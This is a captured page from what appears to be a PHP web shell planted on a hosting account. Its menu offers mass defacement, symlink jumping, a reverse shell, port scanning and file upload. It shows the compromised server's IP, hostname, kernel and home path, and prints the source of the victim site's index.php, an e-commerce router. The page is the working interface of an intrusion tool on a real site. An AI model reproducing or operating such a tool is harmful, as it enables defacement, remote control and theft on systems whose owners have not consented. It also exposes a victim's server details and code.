Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
emprendo.com.co
/
public_html2
/
creacionesnicol2
/
Viewing: index.php
<?php // Iniciar sesión session_start(); // Definir la ruta base define('BASE_URL', '/creacionesnicol'); // Redirigir a la vista de tienda cuando no se especifica ninguna acción o vista if (!isset($_GET['action']) && !isset($_GET['view'])) { header("Location: " . BASE_URL . "/index.php?view=tienda"); exit(); } // Manejo de errores error_reporting(E_ALL); ini_set('display_errors', 1); require_once __DIR__ . '/config/database.php'; require_once __DIR__ . '/controllers/HomeController.php'; require_once __DIR__ . '/controllers/UsuarioController.php'; require_once __DIR__ . '/controllers/ProductoController.php'; require_once __DIR__ . '/controllers/TiendaController.php'; require_once __DIR__ . '/controllers/ApiController.php'; require_once __DIR__ . '/controllers/ConfiguracionController.php'; try { // Verificar si es una vista especial de cliente (tienda) if (isset($_GET['view']) && $_GET['view'] === 'tienda') { $controller = new TiendaController(); $controller->index(); exit(); } // Obtener la acción de la URL $action = isset($_GET['action']) ? $_GET['action'] : 'home/index'; // Separar la acción en controlador y método $parts = explode('/', $action); $controllerName = $parts[0]; $methodName = isset($parts[1]) ? $parts[1] : 'index'; // Crear el controlador correspondiente switch ($controllerName) { case 'api': // Para endpoints de API, no requerimos autenticación $controller = new ApiController(); break; case 'configuracion': // Verificar si el usuario está logueado para acceder a esta sección if (!isset($_SESSION['logged_in'])) { header("Location: " . BASE_URL . "/index.php?action=login"); exit(); } $controller = new ConfiguracionController(); // Mapeo de métodos específicos para configuración if ($methodName === 'categorias') { $methodName = 'categorias'; } elseif ($methodName === 'crear-categoria') { $methodName = 'crearCategoria'; } elseif ($methodName === 'editar-categoria') { $methodName = 'editarCategoria'; } elseif ($methodName === 'eliminar-categoria') { $methodName = 'eliminarCategoria'; } elseif ($methodName === 'guardar-general') { $methodName = 'guardarGeneral'; } break; case 'productos': // Verificar si el usuario está logueado para acceder a esta sección if (!isset($_SESSION['logged_in'])) { header("Location: " . BASE_URL . "/index.php?action=login"); exit(); } $controller = new ProductoController(); break; case 'usuarios': // Verificar si el usuario está logueado para acceder a esta sección if (!isset($_SESSION['logged_in']) && $methodName != 'login' && $methodName != 'doLogin') { header("Location: " . BASE_URL . "/index.php?action=login"); exit(); } $controller = new UsuarioController(); break; case 'login': $controller = new UsuarioController(); $methodName = 'loginForm'; break; case 'doLogin': $controller = new UsuarioController(); $methodName = 'doLogin'; break; case 'register': $controller = new UsuarioController(); $methodName = 'register'; break; case 'logout': $controller = new UsuarioController(); $methodName = 'logout'; break; case 'inicio': // Verificar si el usuario está logueado para acceder a esta sección if (!isset($_SESSION['logged_in'])) { header("Location: " . BASE_URL . "/index.php?action=login"); exit(); } $controller = new HomeController(); $methodName = 'index'; break; case 'home': default: // Redirigir al login si no está logueado if (!isset($_SESSION['logged_in'])) { header("Location: " . BASE_URL . "/index.php?action=login"); exit(); } $controller = new HomeController(); break; } // Validar que el método sea válido $validMethods = [ 'index', 'crear', 'create', 'editar', 'edit', 'delete', 'eliminar', 'show', 'ver', 'getFoto', 'getDetalles', 'update', 'loginForm', 'doLogin', 'logout', 'register', 'getProductoDetalle', 'productos', 'categorias', 'crearCategoria', 'editarCategoria', 'eliminarCategoria', 'guardarGeneral' ]; if (!in_array($methodName, $validMethods)) { throw new Exception('Método no válido'); } // Ejecutar el método correspondiente $controller->$methodName(); } catch (Exception $e) { // Manejar el error header("HTTP/1.1 500 Internal Server Error"); echo "Error: " . $e->getMessage(); }
Coded With 💗 by
0x6ick